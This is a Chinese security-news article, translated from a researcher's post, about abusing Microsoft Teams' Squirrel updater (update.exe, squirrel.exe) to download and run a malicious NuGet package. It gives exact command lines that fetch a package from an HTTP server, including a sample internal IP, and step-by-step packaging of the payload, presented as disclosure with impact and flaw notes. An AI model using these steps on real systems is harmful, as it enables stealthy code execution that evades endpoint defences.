freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

用微软的官方软件执行payload
2019-07-05 18:32:44

22.png

Microsoft Team是微软Office套件中一个用于公司团队或项目团队的交流工具,集成了在线聊天,视频会议,文件共享,多人同时文档编辑等诸多团队常用的功能 ——百度百科

最近,我在研究微软旗下的“Team”工具,发现了一个非常有趣的功能,update。我从松鼠文档中了解到,这个功能可用来自动下载和执行Nuget包。而对于攻击者来说,这个功能貌似能用来下载和执行恶意代码。

Nuget是一个.NET平台下的开源的项目,它是Visual Studio的扩展。在使用Visual Studio开发基于.NET fr amework的应用时,Nuget能把在项目中添加、移除和更新引用的工作变得更加快捷方便。 ——百度百科

在花了几个小时研究后,我写了一个简单包,配合“Team”中的update功能够反弹回一个shell。

于是我很快向微软报告了这一情况,并很快得到了回应,他们表示将在不久后推出更新版本。于是,我本来打算在问题解决后再公布我的发现。

但是,很快我就发现不少安全人员都已研究出成果,并公布在社交媒体上。例如,研究人员MrUn1k0d3r就发现了update的一种滥用方法。

33.png

不少研究人员都为网络安全奉献了自己的力量。于是我也决定公开自己的发现,攻击者可能会使用这项技术绕过EDR/IDS的限制。

存在漏洞的位置:

%localappdata%/Microsoft/Teams/update.exe

%localappdata%/Microsoft/Teams/current/squirrel.exe

相关命令:

%localappdata%/Microsoft/Teams/update.exe --download [url to package]

%localappdata%/Microsoft/Teams/update.exe --update [url to package]

%localappdata%/Microsoft/Teams/update.exe --updateRollback=[URL to package]

%localappdata%/Microsoft/Teams/current/squirrel.exe --update=[URL to package]

%localappdata%/Microsoft/Teams/current/squirrel.exe --updateRollback=[URL to package]

创建payload:

1.随意创建一个nupkg包,在我的示例中为Exploit-1.5.60-full.nupkg

2.解压缩后,进入Exploit-1.5.60-full\lib\net45,你也许可以看到某些熟悉的东西,

bb.png

用你的恶意代码替换进去,再将整个文件夹压缩为Exploit-1.5.60-full.nupkg

3.使用下面的命令计算元数据。

sha1sum Exploit-1.5.60-full.nupkg && wc -c < Exploit-1.5.60-full.nupkg 

输出 : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg 4695

4.创建名为RELEASES的文件,复制上述输出保存到文件中。至此,因此目录包含2个文件Exploit-1.5.60-full.nupkgRELEASES

5.上传文件到某个HTTP服务器,让它们可被远程访问。

攻击流程:

视频地址:https://youtu.be/rOP3hnkj7ls

1.下载并执行:

步骤1:进入目标应用程序文件夹,%localappdata%/Microsoft/Teams/

步骤2:运行以下命令,

update.exe --update=[HTTP服务器的地址]

例如:update.exe --update=http://192.168.10.251/

运行后,应用将下载恶意软件包并自动运行。

aa.png

2.下载(另一种方式):

44.jpg

55.png

update.exe --download=[HTTP服务器地址]

以上命令会将包含shellcode的包下载到“packages”文件夹。

影响:

  1. 利用Microsoft官方的二进制文件执行恶意代码。(恶意代码不会存储在硬盘中)

  2. 不需要高权限,普通Windows用户都可利用。

  3. 攻击者可借此规避EDR/IDS。

  4. 如果应用控制了系统文件,则可能会导致权限提升。

缺陷:

  1. update所涉及的URL没有任何限制,更没有身份验证。

  2. 下载的数据无安全检查。

  3. 安全更新功能的参数也许应该写死。

感谢你阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2751.html
来源:https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
# 微软 # 恶意软件
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录